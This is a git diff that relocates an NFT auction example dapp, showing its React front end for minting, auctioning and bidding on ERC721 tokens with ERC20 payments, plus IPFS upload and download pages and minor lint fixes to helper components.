+      const nftAddress = readContracts.MYERC721.address;
+      const auctionInfo = await readContracts.AuctionUnfixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
+      const maxBidUser = auctionInfo.maxBidUser;
+      console.log("When complete Auction, maxBid User is ", maxBidUser);
+      try {
+        await tx(writeContracts.AuctionUnfixedPrice.executeSale(nftAddress, tokenId));
+        if (maxBidUser === address) {
+          userCollections.push(tokenUri);
+          allUserCollections[address] = userCollections;
+        } else {
+          allUserCollections[maxBidUser].push(tokenUri);
+        }
+        assetsInitAuctionStat[tokenUri].forAuction = false;
+        setYourCollectibles(assetsInitAuctionStat);
+        updateYourCollectibles();
+      } catch (e) {
+        console.log("Failed to complete Auction");
+        console.log(e);
+      }
+    };
+  };
+
+  const cancelAuction = (tokenUri, auctionType) => {
+    return async () => {
+      const tokenId = url2TokenID[tokenUri];
+      const nftAddress = readContracts.MYERC721.address;
+      if (auctionType === 1) {
+        await tx(writeContracts.AuctionUnfixedPrice.cancelAution(nftAddress, tokenId));
+      } else {
+        await tx(writeContracts.AuctionFixedPrice.cancelAution(nftAddress, tokenId));
+      }
+
+      assetsInitAuctionStat[tokenUri].forAuction = false;
+      userCollections.push(tokenUri);
+      allUserCollections[address] = userCollections;
+      setUserCollections(userCollections);
+      setYourCollectibles(assetsInitAuctionStat);
+      updateYourCollectibles();
+    };
+  };
+
+  const mintItem = async tokenUri => {
+    if (!injectedProvider) {
+      await loadWeb3Modal();
+    }
+    if (!WalletCheck.approvePermission[address]) {
+      await connectWallet();
+    }
+    await readContracts.MYERC721.mintWithTokenURI(address, tokenUri);
+    const tokenId = (await readContracts.MYERC721.totalSupply()) - 1;
+
+    url2TokenID[tokenUri] = tokenId;
+    assetsInitAuctionStat[tokenUri].forSale = false;
+
+    userCollections.push(tokenUri);
+    allUserCollections[address] = userCollections;
+    setUserCollections(userCollections);
+    setYourCollectibles(assetsInitAuctionStat);
+    updateYourCollectibles();
+  };
+
+  let galleryList = [];
+  for (let a in loadedAssets ? loadedAssets.slice(0, 6) : []) {
+    // console.log("loadedAssets",a,loadedAssets[a])
+
+    let cardActions = [];
+    let auctionDetails = [];
+    if (loadedAssets[a].forSale) {
+      cardActions.push(
+        <div>
+          <Button
+            onClick={() => {
+              mintItem(loadedAssets[a].id);
+            }}
+          >
+            Mint
+          </Button>
+        </div>,
+      );
+      auctionDetails.push(null);
+    } else {
+      const { auctionInfo } = loadedAssets[a];
+      console.log("auctionInfo duration is ", auctionInfo.duration);
+      const deadline = parseInt(auctionInfo.duration * 1000);
+      console.log("Deadline is ", deadline);
+      console.log("current Time is ", new Date().getTime());
+      const isEnded = deadline * 1000 <= new Date().getTime();
+
+      console.log("======auctionInfo");
+      console.log(auctionInfo);
+      console.log("In auction, the value of assetsInitAuctionStat[a] is");
+      console.log(assetsInitAuctionStat[a]);
+      console.log(a);
+      const auctionTypeInner = loadedAssets[a].id;
+      cardActions.push(
+        <div>
+          <div>
+            owned by:{" "}
+            <Address
+              address={loadedAssets[a].owner}
+              ensProvider={mainnetProvider}
+              blockExplorer={blockExplorer}
+              minimized={true}
+            />
+          </div>
+          {!loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].owner && (
+            <>
+              <Button
+                style={{ marginBottom: "10px" }}
+                onClick={startAuction(loadedAssets[a].id)}
+                disabled={address !== loadedAssets[a].owner}
+              >
+                Start auction
+              </Button>
+              <br />
+            </>
+          )}
+          {loadedAssets[a].auctionInfo.isActive &&
+            address === loadedAssets[a].auctionInfo.seller &&
+            assetsInitAuctionStat[auctionTypeInner].assetAuctionType === 1 && (
+              <>
+                <Button style={{ marginBottom: "10px" }} onClick={completeAuction(loadedAssets[a].id)}>
+                  Complete auction
+                </Button>
+                <br />
+              </>
+            )}
+          {loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].auctionInfo.seller && (
+            <>
+              <Button
+                style={{ marginBottom: "10px" }}
+                onClick={cancelAuction(loadedAssets[a].id, assetsInitAuctionStat[auctionTypeInner].assetAuctionType)}
+              >
+                Cancel auction
+              </Button>
+              <br />
+            </>
+          )}
+        </div>,
+      );
+
+      console.log("Loaded asset is : ", loadedAssets[a]);
+      console.log("Your Bid is ", yourBid[loadedAssets[a].id]);
+      console.log("Whether is ended: ", isEnded);
+      auctionDetails.push(
+        auctionInfo.isActive ? (
+          <div style={{ marginTop: "20px" }}>
+            <p style={{ fontWeight: "bold" }}>
+              {assetsInitAuctionStat[auctionTypeInner].assetAuctionType === 1 ? "Unfixed Price " : "Fixed Price "}
+              Auction is in progress
+            </p>
+            <p style={{ margin: 0, marginBottom: "2px" }}>
+              {assetsInitAuctionStat[auctionTypeInner].assetAuctionType === 1 ? "Minimal " : ""} price is{" "}
+              {auctionInfo.price.toString()}{" "}
+            </p>
+            <p style={{ marginTop: 0 }}>
+              {!isEnded
+                ? `Auction ends at ${format(new Date(deadline), "MMMM dd, hh:mm:ss")}`
+                : "Auction has already ended"}
+            </p>
+            {assetsInitAuctionStat[auctionTypeInner].assetAuctionType === 1 && (
+              <div>
+                {auctionInfo.maxBidUser === constants.AddressZero ? (
+                  "Highest bid was not made yet"
+                ) : (
+                  <div>
+                    Highest bid by:{" "}
+                    <Address
+                      address={auctionInfo.maxBidUser}
+                      ensProvider={mainnetProvider}
+                      blockExplorer={blockExplorer}
+                      minimized={true}
+                    />
+                    <p> is {auctionInfo.maxBid.toString()}</p>
+                  </div>
+                )}
+              </div>
+            )}
+
+            {assetsInitAuctionStat[auctionTypeInner].assetAuctionType === 2 && (
+              <div>
+                <div>
+                  Fixed Price for this product is : <p>{auctionInfo.price.toString()}</p>
+                </div>
+              </div>
+            )}
+
+            <div>
+              <div style={{ display: "flex", alignItems: "center", marginTop: "20px" }}>
+                <p style={{ margin: 0, marginRight: "15px" }}>Your bid in ERC20: </p>
+                <InputNumber
+                  placeholder="0.1"
+                  value={yourBid[loadedAssets[a].id]}
+                  onChange={newBid => {
+                    usersBid[address] = { ...yourBid, [loadedAssets[a].id]: newBid };
+                    setYourBid({ ...yourBid, [loadedAssets[a].id]: newBid });
+                  }}
+                  style={{ flexGrow: 1 }}
+                />
+              </div>
+              <Button
+                style={{ marginTop: "7px" }}
+                onClick={() =>
+                  placeBid(
+                    loadedAssets[a].id,
+                    yourBid[loadedAssets[a].id],
+                    assetsInitAuctionStat[auctionTypeInner].assetAuctionType,
+                  )
+                }
+                disabled={!yourBid[loadedAssets[a].id] || isEnded}
+              >
+                Place a bid
+              </Button>
+            </div>
+          </div>
+        ) : null,
+      );
+    }
+
+    galleryList.push(
+      <>
+        <Card
+          style={{ width: 300 }}
+          key={loadedAssets[a].name}
+          actions={cardActions}
+          title={
+            <div>
+              {loadedAssets[a].name}{" "}
+              <a
+                style={{ cursor: "pointer", opacity: 0.33 }}
+                href={loadedAssets[a].external_url}
+                target="_blank"
+                rel="noopener noreferrer"
+              >
+                <LinkOutlined />
+              </a>
+            </div>
+          }
+        >
+          <img style={{ maxWidth: 130 }} src={loadedAssets[a].image} />
+          <div style={{ opacity: 0.77 }}>{loadedAssets[a].description}</div>
+          {auctionDetails}
+        </Card>
+      </>,
+    );
+  }
+
+  const handleOk = async () => {
+    setModalVisible(false);
+    const { price, duration } = auctionDetails;
+    const tokenId = url2TokenID[auctionToken];
+    const nftAddress = readContracts.MYERC721.address;
+    const erc20Address = readContracts.SimpleToken.address;
+    console.log("Token URL is ", auctionToken);
+    console.log("duration is ", duration);
+
+    let writeAuction;
+
+    if (auctionType === 1) {
+      writeAuction = writeContracts.AuctionUnfixedPrice;
+      assetsInitAuctionStat[auctionToken].assetAuctionType = 1;
+    } else {
+      writeAuction = writeContracts.AuctionFixedPrice;
+      assetsInitAuctionStat[auctionToken].assetAuctionType = 2;
+    }
+
+    console.log("==========after 721 approve");
+
+    const erc20Price = parseInt(price.toString());
+    console.log("ERC20 Price for Auction is", erc20Price);
+    const blockDuration = Math.floor(new Date().getTime() / 1000) + duration;
+    console.log("blockDuration is", blockDuration);
+
+    await tx(writeAuction.createTokenAuction(nftAddress, tokenId, erc20Address, erc20Price, blockDuration));
+
+    assetsInitAuctionStat[auctionToken].forAuction = true;
+    console.log("auctionToken in handleOk is ", auctionToken);
+    console.log("userCollections before delete", userCollections);
+    const index = userCollections.indexOf(auctionToken);
+    userCollections.splice(index, 1);
+    console.log("userCollections after delete", userCollections);
+    allUserCollections[address] = userCollections;
+    setUserCollections(userCollections);
+    setYourCollectibles(assetsInitAuctionStat);
+    updateYourCollectibles();
+  };
+
+  const handleCancel = () => {
+    setModalVisible(false);
+  };
+
+  const handleAuctionType = e => {
+    setAuctionType(e.target.value);
+  };
+
+  const logoutOfWeb3Modal = async () => {
+    await web3Modal.clearCachedProvider();
+  };
+
+  window.ethereum && window.ethereum.on("chainChanged", chainId => {});
+
+  window.ethereum &&
+    window.ethereum.on("accountsChanged", accounts => {
+      loadWeb3Modal();
+    });
+
+  // const dismissNetworkError = async () => {
+  //   networkError = undefined;
+  //   loadWeb3Modal();
+  // };
+
+  const connectWallet = async () => {
+    const ethBalance = await localProvider.getBalance(address);
+    if (ethBalance <= 0.3) {
+      const signer = localProvider.getSigner();
+      let result = await signer.sendTransaction({
+        to: address,
+        value: parseEther("0.3"),
+        gasPrice: parseUnits("4.1", "gwei"),
+        gasLimit: hexlify(120000),
+      });
+      console.log("Trans ETH result: ", result);
+    }
+
+    WalletCheck.connecting = true;
+    await tx(writeContracts.MYERC721.setApprovalForAll(writeContracts.AuctionFixedPrice.address, true));
+    await tx(writeContracts.MYERC721.setApprovalForAll(writeContracts.AuctionUnfixedPrice.address, true));
+    await tx(writeContracts.SimpleToken.approve(writeContracts.AuctionFixedPrice.address, 10000));
+    await tx(writeContracts.SimpleToken.approve(writeContracts.AuctionUnfixedPrice.address, 10000));
+
+    WalletCheck.approvePermission[address] = true;
+    WalletCheck.connecting = false;
+  };
+
+  const toggleHover = async () => {
+    console.log("toggleHover");
+    setHover(!Hover);
+  };
+
+  return (
+    <div className="App">
+      {!WalletCheck.walletExist && <NoWalletDetected />}
+      {/*{!WalletCheck.approvePermission[address]  && <ConnectWallet
+      connectWallet={() => connectWallet()}
+      networkError={networkError}
+      dismiss={() => dismissNetworkError()} />}*/}
+      {WalletCheck.connecting && <Loading />}
+
+      {WalletCheck.walletExist && (
+        <div>
+          <Modal
+            title="Start auction"
+            visible={modalVisible}
+            onOk={handleOk}
+            onCancel={handleCancel}
+            okButtonProps={{ disabled: !auctionDetails.price || !auctionDetails.duration }}
+            okText="Start"
+          >
+            <div style={{ display: "flex", alignItems: "center" }}>
+              <p style={{ margin: 0, marginRight: "15px" }}>ERC20 Price (minimal bid): </p>
+              <InputNumber
+                placeholder="0.1"
+                value={auctionDetails.price}
+                onChange={newPrice => setAuctionDetails({ ...auctionDetails, price: newPrice })}
+                style={{ flexGrow: 1 }}
+              />
+            </div>
+            <br />
+            <div style={{ display: "flex", alignItems: "center" }}>
+              <p style={{ margin: 0, marginRight: "15px" }}>Duration in seconds: </p>
+              <InputNumber
+                placeholder="3600"
+                value={auctionDetails.duration}
+                onChange={newDuration => setAuctionDetails({ ...auctionDetails, duration: newDuration })}
+                style={{ flexGrow: 1 }}
+              />
+            </div>
+            <br />
+            <div style={{ display: "flex", alignItems: "center" }}>
+              <Radio.Group onChange={handleAuctionType} value={auctionType}>
+                <Radio value={1}>Unfixed Price Auction</Radio>
+                <Radio value={2}>Fixed Price Auction</Radio>
+              </Radio.Group>
+            </div>
+          </Modal>
+
+          {/* ✏️ Edit the header and change the title to your project name */}
+          <Header />
+          {networkDisplay}
+
+          <BrowserRouter>
+            <Menu style={{ textAlign: "center", alignItems: "center" }} selectedKeys={route} mode="horizontal">
+              <Menu.Item key="/">
+                <Link
+                  onClick={() => {
+                    setRoute("/");
+                  }}
+                  to="/"
+                >
+                  Gallery
+                </Link>
+              </Menu.Item>
+              <Menu.Item key="/yourcollectibles">
+                <Link
+                  onClick={() => {
+                    setRoute("/yourcollectibles");
+                  }}
+                  to="/yourcollectibles"
+                >
+                  YourCollectibles
+                </Link>
+              </Menu.Item>
+              <Menu.Item key="/transfers">
+                <Link
+                  onClick={() => {
+                    setRoute("/transfers");
+                  }}
+                  to="/transfers"
+                >
+                  Transfers
+                </Link>
+              </Menu.Item>
+              <Menu.Item key="/ipfsup">
+                <Link
+                  onClick={() => {
+                    setRoute("/ipfsup");
+                  }}
+                  to="/ipfsup"
+                >
+                  IPFS Upload
+                </Link>
+              </Menu.Item>
+              <Menu.Item key="/ipfsdown">
+                <Link
+                  onClick={() => {
+                    setRoute("/ipfsdown");
+                  }}
+                  to="/ipfsdown"
+                >
+                  IPFS Download
+                </Link>
+              </Menu.Item>
+              <Menu.Item key="/debugcontracts">
+                <Link
+                  onClick={() => {
+                    setRoute("/debugcontracts");
+                  }}
+                  to="/debugcontracts"
+                >
+                  Debug Contracts
+                </Link>
+              </Menu.Item>
+            </Menu>
+
+            <Switch>
+              <Route exact path="/">
+                {/*
+                🎛 this scaffolding is full of commonly used components
+                this <Contract/> component will automatically parse your ABI
+                and give you a form to interact with it locally
+            */}
+
+                <div style={{ maxWidth: 1024, margin: "auto", marginTop: 32, paddingBottom: 56 }}>
+                  <Button
+                    disabled={galleryList.length === 0}
+                    onClick={updateYourCollectibles}
+                    style={{ marginBottom: "25px" }}
+                  >
+                    Update collectibles
+                  </Button>
+
+                  <StackGrid columnWidth={300} gutterWidth={16} gutterHeight={16}>
+                    {galleryList}
+                  </StackGrid>
+                </div>
+              </Route>
+
+              <Route path="/yourcollectibles">
+                <div style={{ width: 640, margin: "auto", marginTop: 32, paddingBottom: 32 }}>
+                  <List
+                    bordered
+                    dataSource={userCollections}
+                    renderItem={item => {
+                      return (
+                        <List.Item key={assets[item].external_url + "_" + address}>
+                          <Card title={<div>{assets[item].name}</div>}>
+                            <div>
+                              <img src={assets[item].image} style={{ maxWidth: 150 }} />
+                            </div>
+                            <div>{assets[item].description}</div>
+                          </Card>
+                        </List.Item>
+                      );
+                    }}
+                  />
+                </div>
+              </Route>
+
+              <Route path="/transfers">
+                <div style={{ width: 600, margin: "auto", marginTop: 32, paddingBottom: 32 }}>
+                  <List
+                    bordered
+                    dataSource={transferEvents}
+                    renderItem={item => {
+                      return (
+                        <List.Item key={item[0] + "_" + item[1] + "_" + item.blockNumber + "_" + item[2].toNumber()}>
+                          <span style={{ fontSize: 16, marginRight: 8 }}>#{item[2].toNumber()}</span>
+                          <Address address={item[0]} ensProvider={mainnetProvider} fontSize={16} />
+                          <Address address={item[1]} ensProvider={mainnetProvider} fontSize={16} />
+                        </List.Item>
+                      );
+                    }}
+                  />
+                </div>
+              </Route>
+
+              <Route path="/ipfsup">
+                <div style={{ paddingTop: 32, width: 740, margin: "auto", textAlign: "left" }}>
+                  <ReactJson
+                    style={{ padding: 8 }}
+                    src={yourJSON}
+                    theme={"pop"}
+                    enableClipboard={false}
+                    onEdit={(edit, a) => {
+                      setYourJSON(edit.updated_src);
+                    }}
+                    onAdd={(add, a) => {
+                      setYourJSON(add.updated_src);
+                    }}
+                    onDelete={(del, a) => {
+                      setYourJSON(del.updated_src);
+                    }}
+                  />
+                </div>
+
+                <Button
+                  style={{ margin: 8 }}
+                  loading={sending}
+                  size="large"
+                  shape="round"
+                  type="primary"
+                  onClick={async () => {
+                    console.log("UPLOADING...", yourJSON);
+                    setSending(true);
+                    setIpfsHash();
+                    const result = await ipfs.add(JSON.stringify(yourJSON)); //addToIPFS(JSON.stringify(yourJSON))
+                    if (result && result.path) {
+                      setIpfsHash(result.path);
+                    }
+                    setSending(false);
+                    console.log("RESULT:", result);
+                  }}
+                >
+                  Upload to IPFS
+                </Button>
+
+                <div style={{ padding: 16, paddingBottom: 150 }}>{ipfsHash}</div>
+              </Route>
+              <Route path="/ipfsdown">
+                <div style={{ paddingTop: 32, width: 740, margin: "auto" }}>
+                  <Input
+                    value={ipfsDownHash}
+                    placeHolder={"IPFS hash (like QmadqNw8zkdrrwdtPFK1pLi8PPxmkQ4pDJXY8ozHtz6tZq)"}
+                    onChange={e => {
+                      setIpfsDownHash(e.target.value);
+                    }}
+                  />
+                </div>
+                <Button
+                  style={{ margin: 8 }}
+                  loading={sending}
+                  size="large"
+                  shape="round"
+                  type="primary"
+                  onClick={async () => {
+                    console.log("DOWNLOADING...", ipfsDownHash);
+                    setDownloading(true);
+                    setIpfsContent();
+                    const result = await getFromIPFS(ipfsDownHash); //addToIPFS(JSON.stringify(yourJSON))
+                    if (result && result.toString) {
+                      setIpfsContent(result.toString());
+                    }
+                    setDownloading(false);
+                  }}
+                >
+                  Download from IPFS
+                </Button>
+
+                <pre style={{ padding: 16, width: 500, margin: "auto", paddingBottom: 150 }}>{ipfsContent}</pre>
+              </Route>
+              <Route path="/debugcontracts">
+                <Contract
+                  name="AuctionFixedPrice"
+                  signer={userProvider.getSigner()}
+                  provider={localProvider}
+                  address={address}
+                  blockExplorer={blockExplorer}
+                />
+                <Contract
+                  name="AuctionUnfixedPrice"
+                  signer={userProvider.getSigner()}
+                  provider={localProvider}
+                  address={address}
+                  blockExplorer={blockExplorer}
+                />
+              </Route>
+            </Switch>
+          </BrowserRouter>
+
+          <ThemeSwitch />
+
+          {/* 👨‍💼 Your account is in the top right with a wallet at connect options */}
+          <div
+            style={{ position: "fixed", textAlign: "right", right: 0, top: 0, padding: 10 }}
+            onMouseEnter={toggleHover}
+            onMouseLeave={toggleHover}
+          >
+            <Account
+              address={address}
+              localProvider={localProvider}
+              userProvider={userProvider}
+              mainnetProvider={mainnetProvider}
+              price={yourLocalBalance}
+              web3Modal={web3Modal}
+              loadWeb3Modal={loadWeb3Modal}
+              logoutOfWeb3Modal={logoutOfWeb3Modal}
+              blockExplorer={blockExplorer}
+            />
+            {Hover && faucetHint}
+          </div>
+
+          {/* 🗺 Extra UI like gas price, eth price, faucet, and support: */}
+          <div style={{ position: "fixed", textAlign: "left", left: 0, bottom: 20, padding: 10 }}>
+            <Row align="middle" gutter={[4, 4]}>
+              <Col span={8}>
+                <Ramp price={price} address={address} networks={NETWORKS} />
+              </Col>
+
+              <Col span={8} style={{ textAlign: "center", opacity: 0.8 }}>
+                <GasGauge gasPrice={gasPrice} />
+              </Col>
+              <Col span={8} style={{ textAlign: "center", opacity: 1 }}>
+                <Button
+                  onClick={() => {
+                    window.open("https://t.me/joinchat/KByvmRe5wkR-8F_zz6AjpA");
+                  }}
+                  size="large"
+                  shape="round"
+                >
+                  <span style={{ marginRight: 8 }} role="img" aria-label="support">
+                    💬
+                  </span>
+                  Support
+                </Button>
+              </Col>
+            </Row>
+
+            <Row align="middle" gutter={[4, 4]}>
+              <Col span={24}>
+                {
+                  /*  if the local provider has a signer, let's show the faucet:  */
+                  faucetAvailable ? (
+                    <Faucet localProvider={localProvider} price={price} ensProvider={mainnetProvider} />
+                  ) : (
+                    ""
+                  )
+                }
+              </Col>
+            </Row>
+          </div>
+        </div>
+      )}
+    </div>
+  );
+}
+
+/*
+  Web3 modal helps us "connect" external wallets:
+*/
+const web3Modal = new Web3Modal({
+  // network: "mainnet", // optional
+  cacheProvider: true, // optional
+  providerOptions: {
+    walletconnect: {
+      package: WalletConnectProvider, // required
+      options: {
+        infuraId: INFURA_ID,
+      },
+    },
+  },
+});
+
+export default App;
diff --git a/Example16-hardhat-auction-exchange/react-app/src/App.test.js b/basic/16-nft-auction-exchange/react-app/src/App.test.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/App.test.js
rename to basic/16-nft-auction-exchange/react-app/src/App.test.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/assets.js b/basic/16-nft-auction-exchange/react-app/src/assets.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/assets.js
rename to basic/16-nft-auction-exchange/react-app/src/assets.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/assetsAuctionStat.js b/basic/16-nft-auction-exchange/react-app/src/assetsAuctionStat.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/assetsAuctionStat.js
rename to basic/16-nft-auction-exchange/react-app/src/assetsAuctionStat.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Account.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Account.jsx
similarity index 95%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Account.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Account.jsx
index f863bf538..e2e5e704d 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Account.jsx
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Account.jsx
@@ -1,7 +1,6 @@
 import React from "react";
 import { Button } from "antd";
 import Address from "./Address";
-import Balance from "./Balance";
 import Wallet from "./Wallet";
 import { useThemeSwitcher } from "react-css-theme-switcher";
 
@@ -98,7 +97,7 @@ export default function Account({
     >
       {price}
     </span>
-      <Wallet address={address} provider={userProvider} ensProvider={mainnetProvider} price={price} color={currentTheme == "light" ? "#1890ff" : "#2caad9"} />
+      <Wallet address={address} provider={userProvider} ensProvider={mainnetProvider} price={price} color={currentTheme === "light" ? "#1890ff" : "#2caad9"} />
     </span>
   );
 
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Address.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Address.jsx
similarity index 85%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Address.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Address.jsx
index 8197dab03..e517b2464 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Address.jsx
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Address.jsx
@@ -63,7 +63,7 @@ export default function Address(props) {
   if (props.minimized) {
     return (
       <span style={{ verticalAlign: "middle" }}>
-        <a style={{ color: currentTheme == "light" ? "#222222" : "#ddd" }} target={"_blank"} href={etherscanLink} rel="noopener noreferrer">
+        <a style={{ color: currentTheme === "light" ? "#222222" : "#ddd" }} target={"_blank"} href={etherscanLink} rel="noopener noreferrer">
           <Blockies seed={address.toLowerCase()} size={8} scale={2} />
         </a>
       </span>
@@ -74,7 +74,7 @@ export default function Address(props) {
   if (props.onChange) {
     text = (
       <Text editable={{ onChange: props.onChange }} copyable={{ text: address }}>
-        <a style={{ color: currentTheme == "light" ? "#222222" : "#ddd" }} target={"_blank"} href={etherscanLink} rel="noopener noreferrer">
+        <a style={{ color: currentTheme === "light" ? "#222222" : "#ddd" }} target={"_blank"} href={etherscanLink} rel="noopener noreferrer">
           {displayAddress}
         </a>
       </Text>
@@ -82,7 +82,7 @@ export default function Address(props) {
   } else {
     text = (
       <Text copyable={{ text: address }}>
-        <a style={{ color: currentTheme == "light" ? "#222222" : "#ddd" }} target={"_blank"} href={etherscanLink} rel="noopener noreferrer">
+        <a style={{ color: currentTheme === "light" ? "#222222" : "#ddd" }} target={"_blank"} href={etherscanLink} rel="noopener noreferrer">
           {displayAddress}
         </a>
       </Text>
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/AddressInput.jsx b/basic/16-nft-auction-exchange/react-app/src/components/AddressInput.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/AddressInput.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/AddressInput.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Balance.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Balance.jsx
similarity index 86%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Balance.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Balance.jsx
index 1d90fd552..666594c10 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Balance.jsx
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Balance.jsx
@@ -1,7 +1,6 @@
 import React, { useState } from "react";
 import { formatEther } from "@ethersproject/units";
-import { usePoller } from "eth-hooks";
-import { useBalance } from "../hooks"
+import { useBalance } from "../hooks";
 
 /*
   ~ What it does? ~
@@ -29,13 +28,10 @@ import { useBalance } from "../hooks"
   - Provide price={price} of ether and get your balance converted to dollars
 */
 
-
 export default function Balance(props) {
   const [dollarMode, setDollarMode] = useState(true);
 
-  const [listening, setListening] = useState(false);
-
-  const balance = useBalance(props.provider, props.address)
+  const balance = useBalance(props.provider, props.address);
 
   let floatBalance = parseFloat("0.00");
 
@@ -56,7 +52,7 @@ export default function Balance(props) {
 
   let displayBalance = floatBalance.toFixed(4);
 
-  const price = props.price || props.dollarMultiplier
+  const price = props.price || props.dollarMultiplier;
 
   if (price && dollarMode) {
     displayBalance = "$" + (floatBalance * price).toFixed(2);
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Blockie.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Blockie.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Blockie.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Blockie.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/BytesStringInput.jsx b/basic/16-nft-auction-exchange/react-app/src/components/BytesStringInput.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/BytesStringInput.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/BytesStringInput.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/ConnectWallet.jsx b/basic/16-nft-auction-exchange/react-app/src/components/ConnectWallet.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/ConnectWallet.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/ConnectWallet.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Contract/DisplayVariable.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Contract/DisplayVariable.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Contract/DisplayVariable.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Contract/DisplayVariable.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Contract/FunctionForm.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Contract/FunctionForm.jsx
similarity index 80%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Contract/FunctionForm.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Contract/FunctionForm.jsx
index bd1d2a813..816b35ca6 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Contract/FunctionForm.jsx
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Contract/FunctionForm.jsx
@@ -10,7 +10,6 @@ import tryToDisplay from "./utils";
 import Blockies from "react-blockies";
 const { utils } = require("ethers");
 
-
 export default function FunctionForm({ contractFunction, functionInfo, provider, gasPrice, triggerRefresh }) {
   const [form, setForm] = useState({});
   const [txValue, setTxValue] = useState();
@@ -20,10 +19,9 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
 
   let inputIndex = 0;
   const inputs = functionInfo.inputs.map(input => {
+    const key = functionInfo.name + "_" + input.name + "_" + input.type + "_" + inputIndex++;
 
-    const key = functionInfo.name + "_" + input.name + "_" + input.type + "_" + inputIndex++
-
-    let buttons = ""
+    let buttons = "";
     if (input.type === "bytes32") {
       buttons = (
         <Tooltip placement="right" title={"to bytes32"}>
@@ -43,9 +41,9 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
             }}
           >
             #️⃣
-            </div>
+          </div>
         </Tooltip>
-      )
+      );
     } else if (input.type === "bytes") {
       buttons = (
         <Tooltip placement="right" title={"to hex"}>
@@ -59,16 +57,16 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
                 setForm(formUpdate);
               } else {
                 const formUpdate = { ...form };
-                formUpdate[key] = utils.hexlify(utils.toUtf8Bytes(form[key]))
+                formUpdate[key] = utils.hexlify(utils.toUtf8Bytes(form[key]));
                 setForm(formUpdate);
               }
             }}
           >
             #️⃣
-            </div>
+          </div>
         </Tooltip>
-      )
-    } else if (input.type == "uint256") {
+      );
+    } else if (input.type === "uint256") {
       buttons = (
         <Tooltip placement="right" title={"* 10 ** 18"}>
           <div
@@ -76,28 +74,25 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
             style={{ cursor: "pointer" }}
             onClick={async () => {
               const formUpdate = { ...form };
-              formUpdate[key] = utils.parseEther(form[key])
+              formUpdate[key] = utils.parseEther(form[key]);
               setForm(formUpdate);
             }}
           >
             ✴️
-            </div>
+          </div>
         </Tooltip>
-      )
-    } else if (input.type == "address") {
-      const possibleAddress = form[key]&&form[key].toLowerCase&&form[key].toLowerCase().trim()
-      if(possibleAddress && possibleAddress.length==42){
+      );
+    } else if (input.type === "address") {
+      const possibleAddress = form[key] && form[key].toLowerCase && form[key].toLowerCase().trim();
+      if (possibleAddress && possibleAddress.length === 42) {
         buttons = (
           <Tooltip placement="right" title={"blockie"}>
             <Blockies seed={possibleAddress} scale={3} />
           </Tooltip>
-        )
+        );
       }
     }
 
-
-
-
     return (
       <div style={{ margin: 2 }} key={key}>
         <Input
@@ -106,7 +101,7 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
           autoComplete="off"
           value={form[key]}
           name={key}
-          onChange={(event) => {
+          onChange={event => {
             const formUpdate = { ...form };
             formUpdate[event.target.name] = event.target.value;
             setForm(formUpdate);
@@ -114,7 +109,7 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
           suffix={buttons}
         />
       </div>
-    )
+    );
   });
 
   const txValueInput = (
@@ -132,8 +127,8 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
                     type="dashed"
                     style={{ cursor: "pointer" }}
                     onClick={async () => {
-                      let floatValue = parseFloat(txValue)
-                      if(floatValue) setTxValue("" + floatValue * 10 ** 18);
+                      let floatValue = parseFloat(txValue);
+                      if (floatValue) setTxValue("" + floatValue * 10 ** 18);
                     }}
                   >
                     ✳️
